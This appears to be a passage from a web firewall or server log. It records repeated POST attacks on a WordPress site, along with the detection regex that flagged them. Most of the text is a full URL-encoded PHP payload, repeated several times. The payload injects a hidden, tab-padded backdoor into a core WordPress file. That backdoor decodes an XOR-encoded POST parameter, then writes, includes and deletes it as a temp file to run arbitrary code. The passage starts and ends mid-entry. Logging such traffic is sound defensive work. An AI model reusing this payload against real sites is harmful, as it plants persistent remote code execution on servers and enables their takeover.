3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpUxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-length:4099\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\npy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522refere%255Cx6Ec%255Cx65%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524dat%2520%253D%2520hex2bin%2528%2524_POST%255B%2522refere%255Cx6Ec%255Cx65%2522%255D%2529%253B%2520%2524flag%2520%253D%2520%2527%2527%2520%253B%2520%2524t%2520%253D%25200%253B%2520do%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524dat%255B%2524t%255D%2529%2520%255E%2520100%2529%253B%2524t%252B%252B%253B%257D%2520while%2528%2524t%2520%253C%2520strlen%2528%2524dat%2529%2529%253B%2520%2524desc%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524factor%2520%253D%2520%2524desc%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524factor%2529%2520%2526%2526%2520is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.itm%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524ent%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:53:19","173.212.252.15","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522refere%255Cx6Ec%255Cx65%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524dat%2520%253D%2520hex2bin%2528%2524_POST%255B%2522refere%255Cx6Ec%255Cx65%2522%255D%2529%253B%2520%2524flag%2520%253D%2520%2527%2527%2520%253B%2520%2524t%2520%253D%25200%253B%2520do%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524dat%255B%2524t%255D%2529%2520%255E%2520100%2529%253B%2524t%252B%252B%253B%257D%2520while%2528%2524t%2520%253C%2520strlen%2528%2524dat%2529%2529%253B%2520%2524desc%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524factor%2520%253D%2520%2524desc%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524factor%2529%2520%2526%2526%2520is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.itm%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524ent%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo2bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-length:4099\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\noj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522refere%255Cx6Ec%255Cx65%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524dat%2520%253D%2520hex2bin%2528%2524_POST%255B%2522refere%255Cx6Ec%255Cx65%2522%255D%2529%253B%2520%2524flag%2520%253D%2520%2527%2527%2520%253B%2520%2524t%2520%253D%25200%253B%2520do%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524dat%255B%2524t%255D%2529%2520%255E%2520100%2529%253B%2524t%252B%252B%253B%257D%2520while%2528%2524t%2520%253C%2520strlen%2528%2524dat%2529%2529%253B%2520%2524desc%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524factor%2520%253D%2520%2524desc%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524factor%2529%2520%2526%2526%2520is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.itm%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524ent%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:53:35","46.32.255.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522refere%255Cx6Ec%255Cx65%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524dat%2520%253D%2520hex2bin%2528%2524_POST%255B%2522refere%255Cx6Ec%255Cx65%2522%255D%2529%253B%2520%2524flag%2520%253D%2520%2527%2527%2520%253B%2520%2524t%2520%253D%25200%253B%2520do%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524dat%255B%2524t%255D%2529%2520%255E%2520100%2529%253B%2524t%252B%252B%253B%257D%2520while%2528%2524t%2520%253C%2520strlen%2528%2524dat%2529%2529%253B%2520%2524desc%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524factor%2520%253D%2520%2524desc%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524factor%2529%2520%2526%2526%2520is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.itm%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524ent%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF0VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-length:4099\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nKB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522refere%255Cx6Ec%255Cx65%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524dat%2520%253D%2520hex2bin%2528%2524_POST%255B%2522refere%255Cx6Ec%255Cx65%2522%255D%2529%253B%2520%2524flag%2520%253D%2520%2527%2527%2520%253B%2520%2524t%2520%253D%25200%253B%2520do%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524dat%255B%2524t%255D%2529%2520%255E%2520100%2529%253B%2524t%252B%252B%253B%257D%2520while%2528%2524t%2520%253C%2520strlen%2528%2524dat%2529%2529%253B%2520%2524desc%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524factor%2520%253D%2520%2524desc%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524factor%2529%2520%2526%2526%2520is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.itm%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524ent%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:53:44","38.95.35.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522refere%255Cx6Ec%255Cx65%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524dat%2520%253D%2520hex2bin%2528%2524_POST%255B%2522refere%255Cx6Ec%255Cx65%2522%255D%2529%253B%2520%2524flag%2520%253D%2520%2527%2527%2520%253B%2520%2524t%2520%253D%25200%253B%2520do%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524dat%255B%2524t%255D%2529%2520%255E%2520100%2529%253B%2524t%252B%252B%253B%257D%2520while%2528%2524t%2520%253C%2520strlen%2528%2524dat%2529%2529%253B%2520%2524desc%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524factor%2520%253D%2520%2524desc%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524factor%2529%2520%2526%2526%2520is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.itm%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524ent%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4122\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522refere%255Cx6Ec%255Cx65%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524dat%2520%253D%2520hex2bin%2528%2524_POST%255B%2522refere%255Cx6Ec%255Cx65%2522%255D%2529%253B%2520%2524flag%2520%253D%2520%2527%2527%2520%253B%2520%2524t%2520%253D%25200%253B%2520do%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524dat%255B%2524t%255D%2529%2520%255E%2520100%2529%253B%2524t%252B%252B%253B%257D%2520while%2528%2524t%2520%253C%2520strlen%2528%2524dat%2529%2529%253B%2520%2524desc%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524factor%2520%253D%2520%2524desc%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524factor%2529%2520%2526%2526%2520is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%252